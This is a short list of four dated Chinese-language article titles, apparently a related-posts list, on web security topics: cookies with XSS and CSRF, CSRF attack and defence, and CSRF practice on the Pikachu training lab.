- cookie和XSS, CSRF的相親相愛2018-10-11Cookie
- CSRF攻擊與防禦2024-11-01
- 什麼是CSRF攻擊?2023-02-25
- CSRF(Pikachu靶場練習)2024-05-10